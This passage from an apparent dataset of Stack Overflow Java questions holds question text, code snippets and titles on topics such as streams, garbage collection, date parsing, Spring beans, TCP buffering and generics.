` ? `` ) .define ( `` angle_addr '' , `` ` CFWS ` ? < ` addr_spec ` ` CFWS ` ? `` ) .define ( `` name_addr '' , `` ` display_name ` ? ` angle_addr ` `` ) .define ( `` mailbox '' , `` ` name_addr ` | ` addr_spec ` `` ) .define ( `` address '' , `` ` mailbox ` | ` group ` `` ) .build ( `` ` address ` `` ) ;",Better regex syntax ideas +Java,"I have two interfaces : I decide to implement both O and S in a class Test : My question : Why must I only implement the method public String m1 ( ) and not the other ? And secondly , why ca n't I implement public Object m1 ( ) instead of public String m1 ( ) ?","interface S { public String m1 ( ) ; } interface O { public Object m1 ( ) ; } class Test implements O , S { }",Methods with the same signature but different return type in two interfaces +Java,I 'm using the reference implementation of JSR363 . I 've tried many variations of this but I 'll give this code as an example.This prints 503.0 m. Clearly something is very wrong and this should be 3.05 m. I find it very hard to believe that this is actually a bug with the library and I 'm hoping someone can tell me what I 'm missing .,"ServiceProvider provider = ServiceProvider.current ( ) ; QuantityFactory < Length > lengthFactory = provider.getQuantityFactory ( Length.class ) ; Quantity < Length > first = lengthFactory.create ( 5 , Units.METRE.divide ( 100.0 ) ) ; Quantity < Length > second = lengthFactory.create ( 3 , Units.METRE ) ; System.out.println ( second.add ( first ) ) ;",Java units of measurement library addition and subtraction returning incorrect values +Java,"In above code when I am converting from int to byte it is not giving compile time error but when my conversion is from long to int it is giving compile time error , WHY ?",public static void main ( String [ ] args ) { final int a =15 ; byte b = a ; System.out.println ( a ) ; System.out.println ( b ) ; } public static void main ( String [ ] args ) { final long a =15 ; int b = a ; System.out.println ( a ) ; System.out.println ( b ) ; },Type cast issue from int to byte using final keyword in java +Java,"I do n't understand why its not print `` true , true , true , true '' . please give answer ?",Integer i = 127 ; Integer j = 127 ; System.out.println ( i == j ) ; System.out.println ( i.equals ( j ) ) ; Integer i1 = 128 ; Integer j1 = 128 ; System.out.println ( i1 == j1 ) ; System.out.println ( i1.equals ( j1 ) ) ;,"The following code prints `` true , true , false , true '' . Should n't it be `` true , true , true , true '' ?" +Java,"I have a Java TCP game server , I use java.net.ServerSocket and everything runs just fine , but recently my ISP did a some kind of an upgrade , where , if you send two packets very fast for the same TCP connexion , they close it by force.This is why a lot of my players are disconnected randomly when there 's a lot of traffic in game ( when there is a lot of chance that the server will send 2 packets at same time for the same person ) Here is an example of what I mean : If I do something like this , my ISP will close the connexion for no reason to both client and server side : But it will work just fine if i do something like this : Or this : This only started a couple of weeks ago when they ( the ISP ) did some changes to the service and the network . I noticed using Wireshark that you have to have at least ~150ms time between two packets for same TCP connexion or else it will close.1 ) Do you guys know what is this called ? does is it even have a name ? Is it legal ? Now I have to re-write my game server knowing that I use a method called : send ( PrintWriter out , String packetData ) ; 2 ) Is there any easy solution to ask java to buffer the data before it sends it to clients ? Or wait 150ms before each sending without having to rewrite the whole thing ? I did some googling but I ca n't find anything that deals with this problem . Any tips or information to help about this would be really appreciated , btw speed optimisation is very crucial . Thank you .",tcpOut.print ( `` Hello . `` ) ; tcpOut.flush ( ) ; tcpOut.print ( `` How are you ? `` ) ; tcpOut.flush ( ) ; tcpOut.print ( `` Hello . `` ) ; tcpOut.flush ( ) ; Thread.sleep ( 200 ) ; tcpOut.print ( `` How are you ? `` ) ; tcpOut.flush ( ) ; tcpOut.print ( `` Hello . `` ) ; tcpOut.print ( `` How are you ? `` ) ; tcpOut.flush ( ) ;,My ISP is forcing me to buffer tcp data before sending it +Java,"Against my expectations , the following programstill prints outmeaning object1 and object2 are not GC-ed.However , when removing the for loop from the program , those objects can be GC-ed and the program prints.Moving the for loop to a separate method has the same effect : the objects are GC-ed at the end of the program.What I suspect is happening is that that for loop stores those objects on the stack , and does not remove them afterwards . And since the object is still present on the stack , it can not be GC-ed.Looking at the byte code ( which I am really not that good at ) seems to support this hypothesis : I see astore commands , but I could n't spot a place in the byte code where those are removed from the stack again.However , I have two issues with my theory : From what I understood from that byte code , I would have expected that object1 is removed from the stack ( overwritten by object2 ) , and only the last object accessed in the loop ( object2 ) would not be GC-ed.Changing the for loop todoes n't change the output of the program . I would have thought that that would clear that reference to the object on the stack.Question : anybody has a solid theory on why that for-loop ensures that those objects can not be GC-ed ? My theory has a few gaping holes in them.Context : This problem was encountered in a unit tests which we use to detect memory leaks , based on the Netbeans method NBTestCase # assertGC . This assertGC method will fail when an object is still referenced on the heap or on the stack.In our test , we have code likewhich kept on failing , until we removed the for-loop.We already have a workaround ( move the for-loop to a separate method ) , but I would like to understand why our original code does not work .","import java.lang.ref.WeakReference ; import java.util.Arrays ; import java.util.List ; public class StackTest { public static void main ( String [ ] args ) { Object object1 = new Object ( ) ; Object object2 = new Object ( ) ; List < Object > objects = Arrays.asList ( object1 , object2 ) ; WeakReference < Object > ref1 = new WeakReference < > ( object1 ) ; WeakReference < Object > ref2 = new WeakReference < > ( object2 ) ; for ( Object o : objects ) { System.out.println ( o ) ; } objects = null ; object1 = null ; object2 = null ; System.gc ( ) ; System.gc ( ) ; System.gc ( ) ; System.out.println ( `` ref1 : `` + ref1.get ( ) ) ; System.out.println ( `` ref2 : `` + ref2.get ( ) ) ; } } ref1 : java.lang.Object @ 15db9742ref2 : java.lang.Object @ 6d06d69c ref1 : nullref2 : null 53 : invokeinterface # 6 , 1 // InterfaceMethod java/util/List.iterator : ( ) Ljava/util/Iterator ; 58 : astore 660 : aload 662 : invokeinterface # 7 , 1 // InterfaceMethod java/util/Iterator.hasNext : ( ) Z67 : ifeq 9070 : aload 672 : invokeinterface # 8 , 1 // InterfaceMethod java/util/Iterator.next : ( ) Ljava/lang/Object ; 77 : astore 779 : getstatic # 9 // Field java/lang/System.out : Ljava/io/PrintStream ; 82 : aload 784 : invokevirtual # 10 // Method java/io/PrintStream.println : ( Ljava/lang/Object ; ) V87 : goto 60 for ( Object o : objects ) { System.out.println ( o ) ; o = null ; } @ Testpublic void test ( ) { List < DisposableFoo > foos = ... ; doStuffWithFoo ( foos ) ; List < WeakReference < DisposableFoo > > refs = ... ; for ( DisposableFoo foo : foos ) { disposeFoo ( foo ) ; } foos = null ; assertGC ( refs ) ; }",Unreachable objects on the stack can not be garbage collected +Java,I 've been trying to implement profile photo upload feature by Android Retrofit + SpringMVC . Java server unable to respond Retrofit API call . Related code snippet is given below : ApiInterfaceuploadToServerbitmapToMultipartJava SpringMVC controllerProblem is : Request not even reaching to java server .,"@ Multipart @ POST ( `` user/profileImage '' ) Call < ResponseBody > uploadImage ( @ Part MultipartBody.Part image , @ Part ( `` name '' ) RequestBody name ) ; public void uploadToServer ( ) { //Get retrofit client Retrofit retrofit = ApiClient.getClient ( ) ; //Get API interface ApiInterface apiInterface = retrofit.create ( ApiInterface.class ) ; // Get image parts MultipartBody.Part imageParts = bitmapToMultipart ( imageBitmap ) ; //Get image name RequestBody name = RequestBody.create ( MediaType.parse ( `` text/plain '' ) , `` ProfileImage '' ) ; //Call image upload API Call < ResponseBody > call = apiInterface.uploadImage ( imageParts , name ) ; call.enqueue ( new Callback < ResponseBody > ( ) { @ Override public void onResponse ( Call < ResponseBody > call , Response < ResponseBody > response ) { ResponseBody body = response.body ( ) ; } @ Override public void onFailure ( Call < ResponseBody > call , Throwable t ) { t.printStackTrace ( ) ; } } ) ; } public MultipartBody.Part bitmapToMultipart ( Bitmap imageBitmap ) { File file = null ; try { //create a file to write bitmap data file = new File ( this.getCacheDir ( ) , `` imageBitmap '' ) ; file.createNewFile ( ) ; //Convert bitmap to byte array ByteArrayOutputStream bos = new ByteArrayOutputStream ( ) ; imageBitmap.compress ( Bitmap.CompressFormat.JPEG , 0 /*ignored for PNG*/ , bos ) ; byte [ ] bitmapdata = bos.toByteArray ( ) ; //write the bytes in file FileOutputStream fos = new FileOutputStream ( file ) ; fos.write ( bitmapdata ) ; fos.flush ( ) ; fos.close ( ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } RequestBody reqFile = RequestBody.create ( MediaType.parse ( `` image/* '' ) , file ) ; MultipartBody.Part body = MultipartBody.Part.createFormData ( `` upload '' , file.getName ( ) , reqFile ) ; return body ; } @ Controller @ RequestMapping ( `` /user '' ) public class UserController { @ RequestMapping ( value = `` /profileImage '' , method = RequestMethod.POST ) public @ ResponseBody String imageUploader ( @ RequestParam ( `` image '' ) MultipartFile image , @ RequestBody RequestBody name ) throws Exception { return `` '' ; } }",Unable to upload picture from Android to java server +Java,"Java 8 collections provide features to obtain a collection as stream . However once we call stream ( ) method , we get current contents of the collection as stream.What if my collection grows during stream processing ? The operations on the stream might update the collection with more data . Is there a simple & effective way to handle this situation ? ( I tried Stream.concat ( ) from within the stream processing operation but I get exception : Exception in thread `` main '' java.lang.IllegalStateException : stream has already been operated upon or closed ) Taking a specific example , suppose I have a concurrent queue of urls.Now I want to obtain stream of this url queue , and process the URLs one by one . The process involves removing url from queue , reading the web pages pointed by the url , extracting URLs from the page and adding those URLs into the concurrent queue.I want to be able to handle the above dynamically growing queue as a stream . ( Further , I want to be able to process this dynamic queue using parallel stream ) Is there a simple way of achieving this using java streams ?","Queue < Url > concurrentUrlQue= initUrlQueue ( ) ; concurrentUrlQue.stream ( ) .forEach ( ( url ) - > readAndExtractUrls ( url , concurrentUrlQue ) ) ;",How to handle a dynamic collection as stream ? +Java,I 'm having two lists of same size ids and results and I want to create new list with domain objects.Solution that I 've used : Is there any more elegant way to do it eg . using streams ?,"List < Id > ids = ... List < Result > results = redisTemplate.opsForValue ( ) .multiGet.get ( ids ) ; List < DomainObject > list = // list of domain objects new DomainObject ( id , result ) ; List < DomainObject > list = new ArrayList < > ( ids.size ( ) ) ; for ( int i = 0 ; i < ids.size ( ) ; i++ ) { list.add ( new DomainObject ( ids.get ( i ) , results.get ( i ) ) ) ; }",Combine two lists of same size ( and different type ) into list of domain objects using java streams +Java,"I get the following input that I want to split into four parts : It 's a METAR , then a TAF , then a METAR , then a TAF.Input rules : The airport codes can change , but should always be 3 or 4 letters.METARS will start with either the airport code , or `` SPECI '' followed by the airport code ( SPECI KPDX ) .TAFs will start with either the aiport code , or `` TAF AMD '' followed by the airport code ( TAF AMD KPDX ) .In any report , the airport code will always be followed by the datetime stamp.In a TAF , the datetime stamp will always be followed by the valid times ( 0215/0318 for example ) .There could be as few as 2 reports , or many more than 4.Any report could be just a single line.I want to grab each report by itself , so I 'm using the regex ^ ( \\w+.* ? ) ( ? : ^\\b|\\Z ) in the following code : It works great , I get 4 results:1:2:3:4 : I have encountered a case where my regex fails . Occasionally , a TAF line will run too long and will be wrapped ( I have no control over this ) , so it might look like ( notice the `` BKN150 '' right below `` TAF AMD PDX '' ) : When this happens , I get 5 results:1:2:3:4:5 : Can anyone figure out a regex that will correctly split this odd case ? Alternatively I could try to remove the problem line break in the input string before running the regex on it , but I ca n't figure out how to detect it .","-KPDX 021453Z 16004KT 10SM FEW007 SCT060 BKN200 11/09 A3002 RMK AO2 SLP166 T01060094 55008TAF AMD KPDX 021453Z 0215/0312 10005KT P6SM FEW006 SCT060 BKN150 FM021800 11005KT P6SM SCT050 OVC100 FM022200 11007KT P6SM -RA OVC050 FM030500 12005KT P6SM -RA OVC035KSEA 021453Z 15003KT 10SM FEW035 BKN180 11/09 A3001 RMK AO2 SLP168 60000 T01110089 58010TAF AMD KSEA 021501Z 0215/0318 14004KT P6SM SCT020 BKN150 FM021800 16005KT P6SM SCT025 OVC090 FM030100 19005KT P6SM OVC070 FM030200 15005KT P6SM -RA OVC045 FM030600 16007KT P6SM -RA BKN025 OVC045 ArrayList < String > reports = new ArrayList < String > ( ) ; Pattern pattern = Pattern.compile ( `` ^ ( \\w+.* ? ) ( ? : ^\\b|\\Z ) '' , Pattern.DOTALL|Pattern.MULTILINE ) ; Matcher matcher = pattern.matcher ( input ) ; while ( matcher.find ( ) ) reports.add ( new String ( matcher.group ( 1 ) .trim ( ) ) ) ; KPDX 021453Z 16004KT 10SM FEW007 SCT060 BKN200 11/09 A3002 RMK AO2 SLP166 T01060094 55008 TAF AMD KPDX 021453Z 0215/0312 10005KT P6SM FEW006 SCT060 BKN150 FM021800 11005KT P6SM SCT050 OVC100 FM022200 11007KT P6SM -RA OVC050 FM030500 12005KT P6SM -RA OVC035 KSEA 021453Z 15003KT 10SM FEW035 BKN180 11/09 A3001 RMK AO2 SLP168 60000 T01110089 58010 TAF AMD KSEA 021501Z 0215/0318 14004KT P6SM SCT020 BKN150 FM021800 16005KT P6SM SCT025 OVC090 FM030100 19005KT P6SM OVC070 FM030200 15005KT P6SM -RA OVC045 FM030600 16007KT P6SM -RA BKN025 OVC045 -KPDX 021453Z 16004KT 10SM FEW007 SCT060 BKN200 11/09 A3002 RMK AO2 SLP166 T01060094 55008TAF AMD KPDX 021453Z 0215/0312 10005KT P6SM FEW006 SCT060BKN150 FM021800 11005KT P6SM SCT050 OVC100 FM022200 11007KT P6SM -RA OVC050 FM030500 12005KT P6SM -RA OVC035KSEA 021453Z 15003KT 10SM FEW035 BKN180 11/09 A3001 RMK AO2 SLP168 60000 T01110089 58010TAF AMD KSEA 021501Z 0215/0318 14004KT P6SM SCT020 BKN150 FM021800 16005KT P6SM SCT025 OVC090 FM030100 19005KT P6SM OVC070 FM030200 15005KT P6SM -RA OVC045 FM030600 16007KT P6SM -RA BKN025 OVC045 KPDX 021453Z 16004KT 10SM FEW007 SCT060 BKN200 11/09 A3002 RMK AO2 SLP166 T01060094 55008 TAF AMD KPDX 021453Z 0215/0312 10005KT P6SM FEW006 SCT060 BKN150 FM021800 11005KT P6SM SCT050 OVC100 FM022200 11007KT P6SM -RA OVC050 FM030500 12005KT P6SM -RA OVC035 KSEA 021453Z 15003KT 10SM FEW035 BKN180 11/09 A3001 RMK AO2 SLP168 60000 T01110089 58010 TAF AMD KSEA 021501Z 0215/0318 14004KT P6SM SCT020 BKN150 FM021800 16005KT P6SM SCT025 OVC090 FM030100 19005KT P6SM OVC070 FM030200 15005KT P6SM -RA OVC045 FM030600 16007KT P6SM -RA BKN025 OVC045",Splitting out METARs/TAFs +Java,"I trying to read from a csv file , but due to its size , without loading it all into memory first . The library I found for reading csv is opencsv , which works really well , but only exposes two methods : and readAll is out , as I do n't want it all in memory at the same time , so I 'd like to use lazily read from the file via readNext . And ideally , i 'd like to wrap up that reading via a stream . The closest I 've gotten was giving the readnext method to a Stream.generate construct , but this obviously has the massive draw back of throwing an error once the iterator underlying csvReader is exhausted . I do n't really want to wrap my entire program in a try/catch block because I 'm using the language wrong . Is there a way to create a stream from something that only exposes a next method ?",readAll ( ) readNext ( ) Stream csvDataStream = Stream.generate ( csvReader : :readNext ) ;,Can a stream be created from an object that has only exposed the `` readNext '' portion of an iterator ? +Java,"In some contexts it 's necessary to detect - in a ListChangeListener , without control about the list itself - a `` all data swapped out '' , f.i . when we need to clear some state like selection - on completely new data the old state is meaningless . Completely new data can be reached bylist.setAll ( ... ) list.set ( otherObservableList ) if list is a ListPropertyThinking about which type of changes could be fired on setAll ( c is the change , items is the observed list , `` subChangeCount '' pseudo-code for counting the subchanges ) : This seems to allow a utility check like : In contrast , internal fx code , f.i . in listening to ComboBox ' items : stores the old itemCount and compare that against the current removedSize ( which I 'm uncomfortable with , old state gets stale far too often for my taste ) , nevertheless there 's a good probability that I 'm missing something with my approach.Question is : in which context would my utility method fail ( and core approach would detect the setAll correctly ) ?","// initially emptyassertEquals ( 0 , items.size ( ) ) ; items.setAll ( 1 , 2 , 4 ) ; assertEquals ( 1 , c.subChangeCount ( ) ) ; assertTrue ( c.wasAdded ( ) & & ! c.wasReplaced ( ) ) ; assertEquals ( 0 , c.getFrom ( ) ) ; assertEquals ( c.getList ( ) .size ( ) , c.getAddedSize ( ) ) ; // initially not emptyassertTrue ( items.size ( ) > 0 ) ; items.setAll ( 1 , 2 , 4 ) ; assertEquals ( 1 , c.subChangeCount ( ) ) ; assertTrue ( c.wasReplaced ( ) ) ; assertEquals ( 0 , c.getFrom ( ) ) ; assertEquals ( c.getList ( ) .size ( ) , c.getAddedSize ( ) ) ; boolean wasSetOrClearedAll ( Change c ) { if ( c.getList ( ) .isEmpty ( ) ) return true ; c.next ( ) ; if ( c.getAddedSize ( ) == c.getList ( ) .size ( ) ) return true ; return false ; } while ( c.next ( ) ) { comboBox.wasSetAllCalled = comboBox.previousItemCount == c.getRemovedSize ( ) ; ... } comboBox.previousItemCount = getItemCount ( ) ;",ObservableList : how to reliably detect a setAll ? +Java,"Why does the following fail to run , with the date-time string unable to parse as an OffsetDateTime ? Using Java ( TM ) SE Runtime Environment ( build 1.8.0_92-b14 ) on Mac OS X El Capitan 10.11.4.Generates error : Exception in thread `` main '' java.time.format.DateTimeParseException : Text '2016-01-23T12:34:56 GMT+8 ' could not be parsed : String index out of range : 25The offset-from-UTC string GMT+8 is copied-pasted from the example in the class documentation for DateTimeFormatter . To quote : Offset O : This formats the localized offset based on the number of pattern letters . One letter outputs the short form of the localized offset , which is localized offset text , such as 'GMT ' , with hour without leading zero , optional 2-digit minute and second if non-zero , and colon , for example 'GMT+8 ' . The rest of the string parses successfully as a LocalDateTime . So the problem seems to indeed be the offset-from-UTC part . inputLdt : 2016-01-23T12:34:56 ldt : 2016-01-23T12:34:56WorkaroundA partial workaround is to add a trailing SPACE to both the input string and the formatting pattern . So this works.But adding minutes without a colon is documented as working with a single O but it fails . This workaround of a trailing SPACE does not help in such a case . Notice the GMT+0800 in this example versus GMT+08 seen directly above , where this example fails but the one above succeeds .","String inputOdt = `` 2016-01-23T12:34:56 GMT+8 '' ; DateTimeFormatter formatterOdt = DateTimeFormatter.ofPattern ( `` yyyy-MM-dd'T'HH : mm : ss O '' ) ; OffsetDateTime odt = OffsetDateTime.parse ( inputOdt , formatterOdt ) ; String inputLdt = `` 2016-01-23T12:34:56 '' ; DateTimeFormatter formatterLdt = DateTimeFormatter.ofPattern ( `` yyyy-MM-dd'T'HH : mm : ss '' ) ; LocalDateTime ldt = LocalDateTime.parse ( inputLdt , formatterLdt ) ; System.out.println ( `` '' ) ; System.out.println ( `` inputLdt : `` + inputLdt ) ; System.out.println ( `` ldt : `` + ldt ) ; String input = `` Sat May 02 2015 00:00:00 GMT+08 `` ; // Trailing space.DateTimeFormatter formatter = DateTimeFormatter.ofPattern ( `` EEE MMM dd yyyy HH : mm : ss O `` ) ; // Trailing space.OffsetDateTime odt = OffsetDateTime.parse ( input , formatter ) ; // SUCCEEDS String input = `` Sat May 02 2015 00:00:00 GMT+0800 `` ; // Minutes in the offset , and trailing space.DateTimeFormatter formatter = DateTimeFormatter.ofPattern ( `` EEE MMM dd yyyy HH : mm : ss O `` ) ; // Trailing space.OffsetDateTime odt = OffsetDateTime.parse ( input , formatter ) ; // FAILS",Why does ` GMT+8 ` fail to parse with pattern ` O ` despite being copied straight out of doc ? +Java,"I 'm starting to learn java and have created my first hello world function in Eclipse . I 've noticed that the following two functions , both in the default package of the src folder in my java project , seem to do the same thing : andBoth successfully print 'Hello World ! ' to the console.I 've read a bit about different class types , but am unsure what type of class I would be declaring with the first function . What 's the difference between these two functions ? Does java make my hello world class in the first case public ?",class HelloWorld { public static void main ( String [ ] args ) { System.out.println ( `` Hello World ! `` ) ; } } public class HelloWorld { public static void main ( String [ ] args ) { System.out.println ( `` Hello World ! `` ) ; } },Are undeclared classes in Java public ? +Java,"In a project I 'm working on , which is using Spring , I see something that really boggles my mind . Apparently there are unit tests that need beans to work and those beans are created from XML files , containing things like : And what did happen ? The constructor of the class ... ListDTO changed and hence the bean apparently can not be created anymore from this ( very verbose IMHO ) XML.Can someone explain me why is it good practice ( is it really ? ) to put such thing in an XML instead of Java code ? If it was in Java code , as soon as the ... ListDTO would have changed the unit test would have refused to compile ( even if the part of the unit test instantiating that bean did n't get executed [ for whatever reason ] ) .Bonus question : is there a way to easily find all these broken `` beans in XML '' in a project besides running all the unit tests , see which ones are failing and then rinse-and-repeating ? To me it seems a pretty serious issue that you can change a constructor and that the IDE would act as if everything was fine : what is the justification for this ? ( * )",< bean class= '' ... ListDTO '' > < constructor-arg > < map > < entry key= '' use1key '' > < value > use1value < /value > < /entry > < entry key= '' use2key '' > < value > use2value < /value > < /entry > < /map > < /constructor-arg > < constructor-arg > < map > < entry key= '' nature1key '' > < value > nature1value < /value > < /entry > < entry key= '' nature2key '' > < value > nature2value < /value > < /entry > < /map > < /constructor-arg > < constructor-arg > < value > false < /value > < /constructor-arg > < /bean >,Java : is it good practice to define beans in XML ? +Java,"The other day my professor in my data structures course ( Java ) said , `` okay guys , how can we clear this n element doubly linked list from memory ? `` . I uttered out loud `` set the head and tail to null '' . He replied `` Ok , but does that really clear it from memory ? '' I said `` yeah I think so '' . Anyhow , he went on to say that since the nodes in the list have references back and forth to one another , it does not really clear it from memory . I imagine we are looking at something like this : Lets assume this is the typical doubly linked list data structure in Java , where Node is a class ( inner or separate class ) and the only instance variables in the DoublyLinkedList class are andHe was saying that because in the inner portion of the list each node has a reference to a next node , and that node has a reference to the previous node . He said this would n't be the case in a singly linked list because the references are only `` a one way street '' and once you lose reference to the first one , they all end up getting garbage collected.Of course , everyone in the class shared their opinion but no one in the class is anyone I would ever listen to or take programming advice from , and I seem to get conflicting information between when I ask a question on Stack Overflow versus what my professor tells me . I 'll be honest , I do n't have enough experience to chime in on the matter but simply put , I do n't know if I always believe everything he says because he was wrong on one or two other things I asked him about.So , does setting andclear the entire list from memory ? If so how can I verify this ? If not , then what is the general idea of a solution to get rid of the list ? Node by node deletion ? Please leave your thoughts and comments .",Head Tailnull < - [ null/data/node 2 ] - > < - [ node1/data/node3 ] - > < - [ node2/data/node4 ] - > < - [ node3/data/null ] - > null Node head ; Node tail ; head = null ; tail = null ;,Does setting head and tail references on a doubly linked list in Java REALLY clear it from memory ? +Java,"Suppose that I have a Java class with a static method , like so : And suppose further that class A has an arbitrary number of subclasses : Now consider the following method invocations : My question is , how can method foo ( ) tell which class is invoking it ?",class A { static void foo ( ) { // Which class invoked me ? } } class B extends A { } class C extends A { } class D extends A { } ... A.foo ( ) ; B.foo ( ) ; C.foo ( ) ; D.foo ( ) ; ...,Which class invoked my static method ? +Java,"As known , when doing the accumulation , `` reduce '' always returns a new immutable object while `` collect '' will make changes on a mutable object.However when I accidentally assign one method reference to both reduce and collect method , it compiles without any errors . Why ? Take a look at the following code :","public class Test { @ Test public void testReduce ( ) { BiFunction < MutableContainer , Long , MutableContainer > func = MutableContainer : :reduce ; // Why this can compile ? BiConsumer < MutableContainer , Long > consume = MutableContainer : :reduce ; // correct way : //BiConsumer < MutableContainer , Long > consume = // MutableContainer : :collect ; long param=10 ; MutableContainer container = new MutableContainer ( 0 ) ; consume.accept ( container , param ) ; // here prints `` 0 '' , incorrect result , // because here we expect a mutable change instead of returning a immutable value System.out.println ( container.getSum ( ) ) ; MutableContainer newContainer = func.apply ( container , param ) ; System.out.println ( newContainer.getSum ( ) ) ; } } class MutableContainer { public MutableContainer ( long sum ) { this.sum = sum ; } public long getSum ( ) { return sum ; } public void setSum ( long sum ) { this.sum = sum ; } private long sum ; public MutableContainer reduce ( long param ) { return new MutableContainer ( param ) ; } public void collect ( long param ) { this.setSum ( param ) ; } }",Java 8 collect vs reduce +Java,"The use case is this : I want to temporarily cache the latest emitted expensive Observable response , but after it expires , return to the expensive source Observable and cache it again , etc . A pretty basic network cache scenario , but I 'm really struggling to get it working.Initial request : goes to sourceSecond request within 30 seconds of source emitting : delivered from cacheThird request outside of cache expiry window : nothing . I subscribe to it and I get no data , but it 's not switching to the upstream source Observable.It looks as if I 'm just connecting to my ConnectableObservable from autoConnect ( ) and it 's never completing with empty , so it 's never triggering my switchIfEmpty ( ) .How can I use this combination of replay ( 1 , x , x ) and switchIfEmpty ( ) ? Or am I just approaching this wrong from the start ?","private Observable < String > getContentObservable ( ) { // expensive upstream source ( API , etc . ) Observable < String > sourceObservable = getSourceObservable ( ) ; // cache 1 result for 30 seconds , then return to the source return sourceObservable .replay ( 1 , 30 , TimeUnit.SECONDS ) .autoConnect ( ) .switchIfEmpty ( sourceObservable ) ; }",RxJava pattern for requesting a remote Observable with a temporary cache +Java,"I have a very simple entity , as : As far as I understood the value id is only set if the entity is persisted . Is this correct ? Since I want to propagate the value of the id to some observers , this only makes sense after the item is persisted . So I need some kind of callback ( something like void onPersit ( ) ) in entityA . The method entityA.onPersit ( ) shall be automatically be executed if the entity is persisted . How to implement this ? ( How ) can an entity determin it 's own status . E.g . is there some kind of this.isPersisted ( ) or this.isDetached ( ) ?",@ Entitypublic class entityA { @ Id @ GeneratedValue ( strategy = GenerationType.TABLE ) private Long id ; public entityA ( ) { } },How to implement a callback when entity is persisted ? +Java,How can I write equivalent maven plugin for the following gradle plugin defined ?,"/** Plugin to copy system properties from gradle JVM to testing JVM * Code was copied from gradle discussion froum : * http : //forums.gradle.org/gradle/topics/passing_system_properties_to_test_task*/ class SystemPropertiesMappingPlugin implements Plugin { public void apply ( Project project ) { project.tasks.withType ( Test ) { testTask - > testTask.ext.mappedSystemProperties = [ ] doFirst { mappedSystemProperties.each { mappedPropertyKey - > def systemPropertyValue = System.getProperty ( mappedPropertyKey ) if ( systemPropertyValue ) { testTask.systemProperty ( mappedPropertyKey , systemPropertyValue ) } } } } } }",gradle to maven plugin conversion +Java,I 'm dealing with Java 8 streams and I wondering if I could resolve this problem in a fancy way.That 's my scenario : Suppose I have a list of parties and inside each element I have the names of the members . I want to iterate over the list and make a new one with the names and which party they belong to.My first approach was : In my second approach I tried to use maps an flatmap 's operations : The problem is I ca n't access to the party object inside the map operation . So the question again is Can I do in a more functional way ? ( like the second approach ) Thanks !,"@ Testpublic void test ( ) { Party firstParties = new Party ( `` firstParty '' , Lists.newArrayList ( `` Member 1 '' , '' Member 2 '' , '' Member 3 '' ) ) ; Party secondParty = new Party ( `` secondParty '' , Lists.newArrayList ( `` Member 4 '' , '' Member 5 '' , '' Member 6 '' ) ) ; List < Party > listOfParties = Lists.newArrayList ( ) ; listOfParties.add ( firstParty ) ; listOfParties.add ( secondParty ) ; List < Elector > electors = new ArrayList < > ( ) ; listOfParties.stream ( ) .forEach ( party - > party.getMembers ( ) .forEach ( memberName - > electors.add ( new Elector ( memberName , party.name ) ) ) ) ; } class Party { List < String > members = Lists.newArrayList ( ) ; String name = `` '' ; public Party ( String name , List < String > members ) { this.members = members ; this.name = name ; } public List < String > getMembers ( ) { return members ; } } class Elector { public Elector ( String electorName , String partyName ) { } } @ Testpublic void test ( ) { Party firstParty = new Party ( `` firstParty '' , Lists.newArrayList ( `` Member 1 '' , '' Member 2 '' , '' Member 3 '' ) ) ; Party secondParty = new Party ( `` secondParty '' , Lists.newArrayList ( `` Member 4 '' , '' Member 5 '' , '' Member 6 '' ) ) ; List < Party > listOfParties = Lists.newArrayList ( ) ; listOfParties.add ( firstParty ) ; listOfParties.add ( secondParty ) ; List < Elector > people = listOfParties.stream ( ) .map ( party - > party.getMembers ( ) ) .flatMap ( members - > members.stream ( ) ) .map ( membersName - > new Elector ( membersName , party.name ) ) # Here is my problem variable map does n't exist .collect ( Collectors.toList ( ) ) ; }",Passing objects through streams and flatmaps +Java,"First statement works but not second giving below error , why ? ERROR :","java.util.Arrays.asList ( 1,2,3,4,5 ) .stream ( ) .map ( n - > n+1 ) .collect ( Collectors.toList ( ) ) ; List < Integer > list = IntStream.rangeClosed ( 1 , 10 ) .map ( n - > n + 1 ) .collect ( Collectors.toList ( ) ) ; Type mismatch : can not convert from Collector < Object , capture # 5-of ? , List < Object > > to Supplier < R >",java stream collect function giving error +Java,"I just wrote a simple JUnit Matcher for assertThat ( ) which requires Generics , of course.By a bit of luck I found the right syntax for the return type of static < T > Matcher not ( Matcher < T > m ) ... , although I do n't understand whyin the return type its < T > Matcher andin the argument list its Matcher < T > Why is it < T > Matcher in the return type ? What is the concept behind this ? I am coming from C++ and can handle its Templates there quite well . I know that Generics work differently , but that 's why this is confusing to me.Here is my own Matcher class . Look at the static helper not :","import org.hamcrest . * ; /** assertThat ( result , not ( hasItem ( `` Something '' ) ) ) ; */class NotMatcher < T > extends BaseMatcher < T > { /** construction helper factory */ static < T > Matcher not ( Matcher < T > m ) { // < ' < T > Matcher ' ? ? ? return new NotMatcher < T > ( m ) ; } /** constructor */ NotMatcher ( Matcher < T > m ) { /* ... */ } /* ... more methods ... */ }",Why is it ` < T > Type ` as return type in Java Generics and not ` Type < T > ` ? +Java,"I have a generic functional interface : And a couple of beans implementing that interface for different Animal subclasses.Now a service class has been injected with these beans and is given an instance of Animal . How can it determine the correct Feeder bean to use ? Things I 've tried : I initially thought I 'd be alright using How to get a class instance of generics type Tbut am running into issues that the bean is implemented using a lambda function and the type returned when I call GenericTypeResolver.resolveTypeArgument ( feeder.getClass ( ) , Feeder.class ) is Animal ( ! ) I then tried to use an anonymous subclass for the beans . Then GenericTypeResolver can determine the specific type of Animal each Feeder will feed . But IntelliJ is screaming at me I should create a lambda for it and so will other people using the PetStore.I added a getAnimalClass ( ) method to the Feeder interface . IntelliJ stops screaming . It does feel very clumsy though.The first time I get an Animal instance of a class I 've not yet fed , I try/catch to use each candidate feeder , until I find one that works . Then I remember the result for future use . Also feels very clumsy.So my question : What is the proper way to do this ?",@ FunctionalInterfacepublic interface Feeder < T extends Animal > { void feed ( T t ) ; } @ Configurationpublic class Config { @ Bean public Feeder < Dog > dogFeeder ( ) { return dog - > dogService.feedDog ( dog ) ; } @ Bean public Feeder < Cat > catFeeder ( ) { return cat - > catService.feedCat ( cat ) ; } } @ Servicepublic class PetStore { @ Autowired private List < Feeder < ? extends Animal > feeders ; private void feed ( Animal animal ) { //TODO : How to determine the correct feeder from feeders ? Feeder < ? extends Animal > correctFeeder = ... . correctFeeder.feed ( animal ) ; } },How to determine the type parameter of Bean implementing generic FunctionalInterface with a lambda ? +Java,Is there a lib that can build a simple GUI by looking at a class or method signature ? For Example : To So that when the button is clicked the method is invoked and the result is 